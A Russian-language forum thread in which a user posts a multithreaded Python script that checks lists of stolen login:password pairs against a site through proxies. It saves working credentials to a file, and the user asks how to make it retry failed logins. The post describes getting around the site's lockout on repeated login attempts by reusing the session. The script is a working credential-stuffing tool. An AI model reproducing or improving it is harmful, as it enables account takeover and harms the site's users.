Загрузка...

How to repeat login 2 times [PYTHON]

Thread in Python created by Ak12Wf May 11, 2020. 105 views

  1. Ak12Wf
    Ak12Wf Topic starter May 11, 2020 0 May 1, 2020
    Короче говоря на сайте тип такая защита если много раз попытаться войти на разные аккаунты тип "блокирует вход" но всё просто надо просто входить ещё раз по той же сессии мой скрипт

    Code
    import requests
    import random
    import threading
    from lxml import html

    accs = list(set(open("base.txt", encoding="utf-8").read().split('\n')))
    def check():
    while accs:
    acc = random.choice(accs)
    login = acc.split(":")[0]
    password = acc.split(":")[1]
    while True:
    try:
    ses = requests.Session()
    ses.get("http://site.ru/?sign_in=1", proxies=proxies)
    data = {"login": login, "pass": password}
    login_req = ses.post("http://site.ru/", data=data, proxies=proxies)
    html.fromstring(login_req.content)
    if "Настройки" in login_req.text:
    open("Good.txt", "a", encoding="utf-8").write("{}:{}\n".format(login, password))
    print("{}:{} - Успешно авторизован!".format(login, password))
    break
    elif "Ошибка авторизации, логин или пароль введены неверно!" in login_req.text:
    print("{}:{} - Ошибка авторизации!".format(login, password))
    break
    else:
    print(login_req.text)
    except Exception as e:
    print(e)

    shift = int(input("Количество поток(1 - 150) : "))
    for i in range (shift):
    thread = threading.Thread(target=check)
    thread.start()
    Как сделать так что бы он ещё раз пробовал войти если увидит эту ошибку Ошибка авторизации, логин или пароль введены неверно!
    Если уже и второй раз так что бы пропустил и забил хрен на него ( можно и удалить )
     
Top
Loading...